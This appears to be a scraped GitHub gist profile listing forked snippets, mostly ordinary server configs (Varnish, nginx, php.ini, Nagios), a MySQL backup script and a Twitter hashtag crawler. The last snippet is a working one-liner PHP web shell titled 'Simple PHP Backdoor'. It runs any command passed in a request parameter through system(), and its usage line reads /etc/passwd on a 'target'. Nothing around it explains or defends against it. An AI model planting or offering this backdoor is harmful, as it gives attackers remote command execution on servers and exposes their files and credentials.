Skip to content

Instantly share code, notes, and snippets.

View socketpy's full-sized avatar
🏠
Working from home

d4shz3r0 socketpy

🏠
Working from home
  • d4shz3r0
  • Bali - Indonesia
View GitHub Profile
@socketpy
socketpy / default.vcl
Created November 16, 2017 09:58 — forked from gchaix/default.vcl
Example Varnish default.vcl for Drupal
#
# Customized VCL file for serving up a Drupal site with multiple back-ends.
#
# Based on this excellent Lullabot article:
# http://www.lullabot.com/articles/varnish-multiple-web-servers-drupal
#
# Hooks for New Relic
C{
#include <sys/time.h>
@socketpy
socketpy / php.ini
Created November 19, 2017 06:03 — forked from aortmannm/php.ini
fix php.ini for zabbix server
[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini ;
;;;;;;;;;;;;;;;;;;;
; PHP's initialization file, generally called php.ini, is responsible for
; configuring many of the aspects of PHP's behavior.
; PHP attempts to find and load this configuration from a number of locations.
; The following is a summary of its search order:
@socketpy
socketpy / _nagios with nginx on ubuntu_
Created November 21, 2017 00:33 — forked from arachnafobic/_nagios with nginx on ubuntu_
nagios with nginx on ubuntu 12.04.3 LTS
- Setting up nagios server on Ubuntu 12.04.3 LTS
This describes how to setup a nagios server with nginx
and configure various checks.
The checks are specific to my needs, your millage may vary.
== Install the required packages ==
== w/ sudo ==
@socketpy
socketpy / etc-sysconfig-varnish.sh
Created December 5, 2017 01:53 — forked from victorvhpg/etc-sysconfig-varnish.sh
/etc/sysconfig/varnish
# Configuration file for varnish
#
# /etc/init.d/varnish expects the variable $DAEMON_OPTS to be set from this
# shell script fragment.
#
# Maximum number of open files (for ulimit -n)
NFILES=131072
# Locked shared memory (for ulimit -l)
@socketpy
socketpy / MySQL Backup Bash Script
Created December 14, 2017 13:20 — forked from sugeng/MySQL Backup Bash Script
Backup MySQL Using bash script for linux
#!/bin/bash
MySQLUSER="homestead" # USERNAME
MySQLPASS="secret" # PASSWORD
MySQLHOST="localhost" # HOSTNAME
# Linux executetable path..
MYSQL="$(which mysql)"
MYSQLDUMP="$(which mysqldump)"
GZIP="$(which gzip)"
@socketpy
socketpy / nginx.conf
Created December 16, 2017 16:47 — forked from v0lkan/nginx.conf
Configuring NGINX for Maximum Throughput Under High Concurrency
user web;
# One worker process per CPU core.
worker_processes 8;
# Also set
# /etc/security/limits.conf
# web soft nofile 65535
# web hard nofile 65535
# /etc/default/nginx
@socketpy
socketpy / distro
Created April 13, 2018 14:11 — forked from riptidewave93/distro
Observium Distro Script
#!/bin/sh
#
# Observium License Version 1.0
# =============================
#
# Copyright (c) 2013-2015 Joe Holden, (c) 2015-2016 Observium Limited
#
# The intent of this license is to establish the freedom to use, share and contribute to
# the software regulated by this license.
#
@charset 'UTF-8';
/* Slider */
.slick-loading .slick-list
{
background: #fff url('./ajax-loader.gif') center center no-repeat;
}
/* Icons */
@font-face
{
@socketpy
socketpy / twitter crawler.txt
Created August 20, 2019 04:39 — forked from vickyqian/twitter crawler.txt
A Python script to download all the tweets of a hashtag into a csv
import tweepy
import csv
import pandas as pd
####input your credentials here
consumer_key = ''
consumer_secret = ''
access_token = ''
access_token_secret = ''
auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>